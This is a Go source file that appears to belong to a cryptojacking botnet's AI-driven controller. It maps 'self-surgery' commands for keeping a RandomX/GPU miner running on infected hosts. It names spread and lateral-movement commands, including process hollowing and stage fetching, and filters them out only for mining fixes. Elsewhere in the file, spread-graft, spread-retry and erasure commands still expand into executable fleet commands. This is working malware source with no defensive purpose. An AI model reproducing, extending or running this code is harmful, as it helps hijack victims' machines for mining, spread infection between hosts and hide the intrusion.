package ai import ( "fmt" "strings" ) // Mining-only self-surgery command types (same agent, no spread/lateral). const ( CmdMiningSelfSurgery = "mining_self_surgery" CmdContainerRestart = "container_restart" CmdFallbackChainReorder = "fallback_chain_reorder" CmdGPUSubprocessSwap = "gpu_subprocess_swap" CmdIdleThresholdTune = "idle_threshold_tune" CmdRandomXRestart = "randomx_restart" ) var miningSelfSurgeryTypes = map[string]bool{ CmdMiningSelfSurgery: true, CmdContainerRestart: true, CmdFallbackChainReorder: true, CmdGPUSubprocessSwap: true, CmdIdleThresholdTune: true, CmdRandomXRestart: true, } var forbiddenSpreadTypes = map[string]bool{ CmdDiscoverAndJoin: true, CmdSpreadNow: true, CmdSpreadGraft: true, CmdSpreadRetryLane: true, CmdStageFetch: true, "discover_join": true, "process_hollowing": true, "hollow": true, } // IsMiningSelfSurgeryCommand reports on-host mining fix types. func IsMiningSelfSurgeryCommand(typ string) bool { return miningSelfSurgeryTypes[normalizeCommandType(typ)] } // IsForbiddenSpreadCommand reports lateral/spread command types excluded from self-surgery. func IsForbiddenSpreadCommand(typ string) bool { return forbiddenSpreadTypes[normalizeCommandType(typ)] } // FilterMiningSelfSurgeryCommands drops spread/lateral commands from a parsed list. func FilterMiningSelfSurgeryCommands(cmds []Command) []Command { out := make([]Command, 0, len(cmds)) for _, c := range cmds { if IsForbiddenSpreadCommand(c.Type) { continue } if IsMiningSelfSurgeryCommand(c.Type) || c.Type == CmdRestartMining || c.Type == CmdReorderTiers || c.Type == CmdSkipTier { out = append(out, c) } } return out } // ExpandSurgicalCommand maps surgical fix types to executable fleet commands. func ExpandSurgicalCommand(cmd Command) []Command { switch cmd.Type { case CmdSpreadRetryLane: return []Command{ResolveSpreadRetryLane(cmd.Args)} case CmdSkipTier: return []Command{ResolveSkipTier(cmd.Args)} case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft: return []Command{cmd} case CmdMiningSelfSurgery: return ExpandMiningSelfSurgery(cmd) case CmdContainerRestart, CmdFallbackChainReorder, CmdGPUSubprocessSwap, CmdIdleThresholdTune, CmdRandomXRestart: return []Command{cmd} default: return []Command{cmd} } } // ExpandMiningSelfSurgery unwraps a bundled mining_self_surgery command into action steps. func ExpandMiningSelfSurgery(cmd Command) []Command { args := cmd.Args if args == nil { return []Command{cmd} } raw, ok := args["actions"] if !ok { return []Command{cmd} } var actions []string switch v := raw.(type) { case []interface{}: for _, item := range v { if s, ok := item.(string); ok && strings.TrimSpace(s) != "" { actions = append(actions, normalizeCommandType(s)) } } case []string: for _, s := range v { if strings.TrimSpace(s) != "" { actions = append(actions, normalizeCommandType(s)) } } } if len(actions) == 0 { return []Command{cmd} } out := make([]Command, 0, len(actions)) for _, action := range actions { if IsForbiddenSpreadCommand(action) { continue } stepArgs := map[string]interface{}{} for _, k := range []string{"chain_order", "skip_methods", "idle_threshold_pct", "reason", "trigger"} { if v, ok := args[k]; ok { stepArgs[k] = v } } out = append(out, Command{Type: action, Args: stepArgs}) } return out } // FormatSurgicalFixArgs serializes command args for strain memory storage. func FormatSurgicalFixArgs(cmd Command) string { if cmd.Args == nil { return "" } parts := make([]string, 0, len(cmd.Args)) for k, v := range cmd.Args { parts = append(parts, fmt.Sprintf("%s=%v", k, v)) } return strings.Join(parts, ",") }